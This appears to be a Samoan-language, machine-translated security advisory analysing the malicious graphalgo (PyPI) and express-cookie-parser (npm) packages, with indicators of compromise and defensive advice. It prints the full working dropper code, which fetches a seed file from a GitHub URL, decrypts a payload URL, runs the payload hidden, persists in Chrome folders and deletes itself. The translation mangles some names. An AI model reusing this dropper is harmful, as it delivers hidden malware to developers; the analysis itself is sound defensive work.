Osofa'iga o le Sapalai o Polokalama Faakomepiuta 2025 - afifi leaga - afifi python leaga - afifi npm leaga

O se Va'aiga Latalata i Osofa'iga o le Sapalai o Polokalama Faakomepiuta 2025: Fa'atusatusaga o Tauvaga PyPI ma npm

Talu ai nei na matauina ai e Xygeni se mamanu fa'apopoleina i le tulaga o osofa'iga i le sapalai o polokalama faakomepiuta i le 2025., e tulaʻi mai i ni pule o afifi lauiloa se lua: PyPI ma npm. I le avea ai o se vaega o a matou taumafaiga faifai pea e faʻatautaia ai faʻamatalaga taufaʻamataʻu,Lapata'iga Vave o le Xygeni's Malware (MEW) ua faʻailoa mai e le meafaigaluega se faʻataʻitaʻiga ese ae tutusa le auala o se afifi leaga na lafoina i se isi resitala muamua. O lenei mataupu e faʻamamafa ai le auala o loʻo faʻagasolo ai tagata faʻamataʻu ma toe faʻaaogaina ai metotia o osofaʻiga i totonu o siosiomaga eseese, aemaise lava e ala i afifi Python leaga ma afifi npm leaga, lea e faʻateleina ai le lamatiaga o afifi leaga e faʻaulufale atu i filifili sapalai tatala.

Xygeni's MEW: Iloaina o Mea e Tutusa Ai

O le meafaigaluega MEW a Xygeni ua fausia e iloa ai ma fa'ailoga ai afifi leaga, aemaise lava i latou e feso'ota'i ma Osofa'iga o le Software Supply Chain i le 2025, i le taimi lava e lolomiina ai i resitala tatala. E galue e ala i le iloiloina o afifi fou mo amioga masalomia.

I lenei tulaga, na faʻailoa mai ai ni lua afifi Python leaga (graphalgo i luga o le PyPI) ma afifi npm leaga (express-cookie-parser i luga o le npm).

Afifi Malie Python ma npm i Osofa'iga o le Sapalai o Polokalama Faakomepiuta (2025)

Se'i o tatou su'esu'eina uiga fa'atasi na fa'aosofia ai a tatou fa'ailoilo:

Faʻailogaina

Sa la taumafai uma e faʻatagā i ni afifi lauiloa ua uma ona iai.

  • graphalgo (PyPI): "O se afifi Python mo le fatuina ma le fa'aogaina o kalafi ma feso'ota'iga."Na lafoina e se tagata faʻaoga e igoa ia "larrytech" I le aso 13 o Iuni, 2025, na faʻaalia ai e lenei afifi o se isi suiga i le PyPi i le poloketi muamua a le graphalgo e le leaga, lea na mulimuli ane toe faaigoa i le graphdict.
  • fa'amatalaga kuki-fa'avave (npm): O lenei afifi na faʻataʻitaʻi le afifi lauiloa o le cookie-parser, e oʻo lava i le faʻataʻitaʻiina o lana README.md. O sea ituaiga o fa'atagā tagata o se togafiti masani lea e fa'aleleia atili ai le fa'atuatuaga o lo'o iai.

O le Fa'alilolilo o se Laina Muamua o le Puipuiga

Na fa'alilolilo e afifi uma e lua a la'ua code leaga i totonu o faila muamua. Mo graphalgo, na maua le code fa'alilolilo i totonu /utils/load_libraries.py. I le tulaga o fa'amatalaga kuki-fa'avave, cookie-loader.min.js sa i ai le uta faanenefu.

O lenei vaega muamua o le fa'alilolilo e masani ona fa'aaogaina e fa'alavelave ai le siakiina fa'afuase'i ma le au'ili'iliga tumau. O le fa'alilolilo sa faigofie lava: o le fa'apipi'iina fa'asolosolo o le ZLib fa'atasi ai ma le fa'ailogaina o le Base64. O lenei ituaiga o fa'alilolilo e fa'ailoa manino mai ai o lo'o taumafai le polokalama e natia ana amioga. Fa'atasi ai ma isi fa'amaoniga, na mafai ai e Xygeni MEW ona fa'avasega afifi o ni polokalama fa'aleaga. I le taimi o le la'asaga fa'amaonia, na vave saunia e le matou au su'esu'e se tusitusiga fa'alilolilo lea na fa'aalia ai le la'asaga o le dropper leaga.

Tu'uina Atu o le Uta e Tele-Vaega ma se Nofoaga Fa'asoa o le Amataga

Sa galulue uma afifi uma e lua e pei o le "muamua"paʻu," o loʻo faʻatulagaina le tulaga mo le uta moni. Sa latou faʻasoa se faʻavae faʻapitoa i fafo "fatu"URL o le faila:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

O lenei faila fatu fafo tutusa o se fa'ailoga malosi lea o se tagata fa'amata'u fa'atasi. O le mea e malie ai, o mea o lo'o i totonu o lenei faila fatu e foliga mai o ni fesuia'iga faigofie o le siosiomaga (e pei o le JWT_SECRET, PORT), e ono fa'asesēina ai le siakiina o lana galuega moni.

Fa'avae Fa'a-C2 ma se DGA

O se togafiti faigata ua matauina i nei afifi leaga o le faʻaaogaina lea o le Domain Generation Algorithm (DGA) e foia ai le 'auʻaunaga Command and Control (C2) i se auala faʻaonaponei. O lenei metotia, e masani ona vaʻaia i osofaʻiga faʻapitoa o le sapalai o polokalama faakomepiuta i le 2025, e faʻalagolago i se SHA256 hash e maua mai i mea o loʻo i totonu o le faila fatu, faʻatasi ai ma isi tau faʻamaonia. I le faia o lea mea, e masani ona suia le fausaga o le C2, ma faʻaitiitia ai le aoga o le blacklisting masani. I lenei tulaga, o le variant npm na faʻaaogaina ai se tau mautu o le 496AAC7E o se vaega o lana faʻavae DGA.

Faatuina o le Tumau

Sa taumafai uma le au osofaʻi e faʻatuina se nofoaga tumau i luga o polokalama ua aʻafia. O la laʻua fuafuaga e aofia ai le faʻapaʻuina o se faila, startup.py (mo PyPi) pe startup.js (mo le npm), i totonu o faila fa'amaumauga masani a tagata fa'aoga a le Google Chrome i luga o faiga fa'aoga eseese (Windows, Linux, macOS).

Fa'amamāina pe a uma le fa'atinoina o le fa'asalaga

Ina ia faʻaitiitia ni faʻailoga, na faʻatinoina e tusitusiga leaga uma e lua ni galuega faʻamamā. Na aofia ai le tapeina o a latou faila muamua (load_libraries.py, cookie-loader.min.js) ma le suia o faila afifi aloaia (__init__.py, index.js) e aveese ai fa'asinomaga i vaega ua tapeina nei.

Fa'ailoga o le Fete'ena'iga i totonu o Malicious Python ma npm Packages

  • PyPI Package: graphalgo (lomia e larrytech, Iuni 13, 2025)
  • Afifi npm: express-cookie-parser (ae maise lava le lomiga 1.4.12)
  • Avanoa i le URL o le Fa'asoaina o Fatu

https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example

  • Igoa Faila Tumau: startup.py (Python) startup.js (JavaScript)
  • Ala Masani Tumau (faʻalagolago i le OS): I totonu o faila fa'amaumauga a tagata fa'aoga a le Google Chrome (e pei o le, AppData\Local\Google\Chrome\UserData\Scripts\ i luga o Windows ~/.config/google-chrome/Scripts/ i luga o le Linux, ma isi).

Auala e Puipui ai Faasaga i Afifi Matagā i Osofaʻiga o le Sapalai o Polokalama Faakomepiuta 2025

O se Auala Fautuaina mo Tagata Atiina Aʻe

O lenei mea na tupu o se suʻesuʻega taua i le tulaga lamatia o loʻo faʻagasolo pea o osofaʻiga i le sapalai o polokalama faakomepiuta i le 2025. O loʻo faʻamamafaina ai le auala e mafai ai e afifi leaga a Python ma afifi leaga a le npm ona faʻasolo atu i totonu o siosiomaga faʻatuatuaina, e masani ona aloese mai le iloa seʻia oʻo ina tuai tele. O le mafuaʻaga lea o le vave iloa, meafaigaluega atamai, ma le tumama o le faiga faʻatino ua avea nei ma vaega taua o soʻo se faiga faigaluega saogalemu a le DevOps. Ua faʻamalosiauina le au atiaʻe e mafaufau i mea nei:

Iloiloga o le Fa'alagolago

Afai ua aofia i au galuega faatino graphalgo or fa'amatalaga kuki-fa'avave, e sili atu ona atamai le faaauau pea ona aveesea.

  • Mo le PyPI: pip uninstall graphalgo
  • Mo le npm: npm uninstall express-cookie-parser

Tausiga o le Tino

Mafaufau e faia se suʻesuʻega atoatoa o le polokalama. E fautuaina foʻi e siaki lima ia auala masani o faʻamatalaga a tagata faʻaoga a le Chrome mo soʻo se mea e leʻi mafaufauina. startup.py or startup.js faila.

Faiga Fa'atonu Puipuiga

  • Iloilo Fa'alagolago FouFa'atulaga se faiga masani e iloilo mae'ae'a ai afifi fou a'o le'i tu'ufa'atasia, taula'i i afifi mai tagata lomitusi e le masani ai.
  • Tuufaatasia Meafaigaluega PuipuigaMeafaigaluega e pei o le Xygeni's MEW, faatasi ai ma isi Su'esu'ega o le Fa'atulagaga o Polokalama (SCA) fofo, e mafai ona maua ai se puipuiga taua e ala i le faʻailoaina o amioga ma vaivaiga masalomia.
  • Fa'ailoga Fa'atauva'a: O le faʻagaoioia o siosiomaga atinaʻe ma le mataupu faavae o le faʻamanuiaga aupito itiiti e mafai ona fesoasoani e faʻatapulaʻa ai le aʻafiaga e ono tulaʻi mai i se faʻaletonu.
  • Fa'asalalauga Fa'asalalaugaO le mata'ituina o feoa'iga i fafo atu o le upega tafa'ilagi mo feso'ota'iga e le masani ai e mafai i nisi taimi ona fa'aalia ai fesoota'iga C2 e gaosia e le DGA.

Vaega Autu o load_libraries.py (mai le graphalgo)

import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request

url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()

python_path = sys.executable

def download_remote_content(url, output_path):
    try:
        req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
        with urlopen(req) as response, open(output_path, "wb") as out_file:
            if response.status != 200:
                print(f"Failed to download the file. Status code: {response.status}")
                return False
            data = response.read()
            out_file.write(data)
        return True
    except Exception as e:
        print(f"Download failed: {e}")
        return False

def run_process(path_to_script, params=[]):
    if sys.platform.startswith("win"):
        creationflags = subprocess.CREATE_NO_WINDOW
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            creationflags=creationflags,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
        )
    else:
        subprocess.Popen(
            [sys.executable, path_to_script, *params],
            start_new_session=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            close_fds=True
        )


def get_output_file_path():
    py_file_path = None

    home_dir = os.path.expanduser("~")
    platform = os.sys.platform

    if platform.startswith("win"):
        py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
    elif platform.startswith("linux"):
        py_file_path = os.path.join(home_dir, ".config", "google-chrome")
    elif platform == "darwin":
        py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")

    if not os.path.exists(py_file_path):
        if platform.startswith("win"):
            py_file_path = os.path.join(home_dir, "AppData", "Local")
        elif platform.startswith("linux"):
            py_file_path = os.path.join(home_dir, ".config")
        elif platform == "darwin":
            py_file_path = os.path.join(home_dir, "Library", "Application Support")

    # Ensure base directory exists
    os.makedirs(py_file_path, exist_ok=True)

    script_path = os.path.join(py_file_path, "Scripts")
    os.makedirs(script_path, exist_ok=True)

    py_file_path = os.path.join(script_path, "startup.py")
    return py_file_path

def remove_self():
    # Remove this script file
    os.remove(__file__)

    # Remove \'graph_settings.py\' in the same directory
    graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
    if os.path.exists(graph_settings_path):
        os.remove(graph_settings_path)

    # Modify \'../classes/digraph.py\' if it exists
    graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
    graph_file_path = os.path.abspath(graph_file_path)  # Normalize path

    init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
    init_file_path = os.path.abspath(init_file_path) # Normalize path

    # replace content of the __init__.py file
    if os.path.exists(init_file_path):
        with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("from networkx.utils.graph_settings import *", "") \\
            .replace("from networkx.utils.load_libraries import *", "")

        with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)        

    # replace content of the __init__.py file
    if os.path.exists(graph_file_path):
        with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
            file_content = file.read()

        updated_content = file_content \\
            .replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\

        with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
            file.write(updated_content)

def simple_shift_encrypt(text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])

    return base64.encode(encrypted_bytes).decode()

def simple_shift_decrypt(encoded_text, password):
    key = int(hashlib.sha256(password).hexdigest(), 16)
    encrypted_bytes = base64.b64decode(encoded_text)
    decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])

    return decrypted

def load_libraries(key):
    max_retry_count = 3
    output_file_path = get_output_file_path()
    encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"

    for _ in range(max_retry_count):
        if not download_remote_content(remove_url, output_file_path):
            time.sleep(2)
            continue

        download_url = ""
        with open(output_file_path, "rb") as f:
            file_content = f.read()
            sha256_hash = hashlib.sha256()
            sha256_hash.update(file_content + key.encode())
            password = sha256_hash.digest()

            download_url = simple_shift_decrypt(encoded, password)
       
        if not download_url or not download_remote_content(download_url, output_file_path):
            time.sleep(2)
            continue

        os.chmod(output_file_path, 0o755)
        run_process(output_file_path)

        time.sleep(1)
        remove_self()
        break

if __name__ == "__main__":
    if len(sys.argv) >= 2:
        load_libraries(sys.argv[1])

  • download_remote_content(): E taulimaina le aumaia o faila mai URL ua fa'amaoti mai.
  • run_process(): Fa'atinoina tusitusiga Python i fafo i se auala tu'ueseese, taofiofia le fa'atinoga ina ia tumau ai le fa'alilolilo.
  • get_output_file_path(): Fuafuaina le nofoaga sili ona lelei mo le faila persistent startup.py.
  • remove_self(): Fa'atulaga le fa'amamāina o faila leaga muamua ma fa'asa'oga o afifi pe a uma ona fa'atinoina.
  • simple_shift_encrypt() / simple_shift_decrypt()Galuega fa'apitoa fa'alilolilo mo le fa'anenefuina o auala feso'ota'iga, e taua tele mo le fa'atinoina o le DGA.
  • load_libraries()O le galuega autū lea e fa'amaopoopo ai le fa'agasologa atoa o la'asaga e tele, mai le la'uina muamua e o'o atu i le fa'atinoina ma le fa'amamāina o le uta.

tuanai

E pei o isi afifi e ono lamatia ai le soifua maloloina na faʻailoa mai e le MEW, na vave ona puipuia e le firewall o le faalagolago tagata faʻaoga o ē o le a aofia ai nei afifi leaga i a latou faalagolago. Ina ua maeʻa le faʻamaoniga, na matou mulimulitaʻi i faiga faʻasilasilaga mo resitala uma e lua, lea na aveese ai afifi uma e lua ina ua maeʻa le iloiloga.

meafaigaluega-sca-polokalame-su'esu'ega-tu'ufa'atasiga
Fa'amuamua, toe fa'aleleia, ma puipui au tulaga lamatia o polokalama faakomepiuta
Maua lau Teugatupe e leai se totogi.
Leai se credit card e manaʻomia.

Puipui lau Atina'eina ma le Tu'uina Atu o Polokalama Faakomepiuta

fa'atasi ai ma le Xygeni Product Suite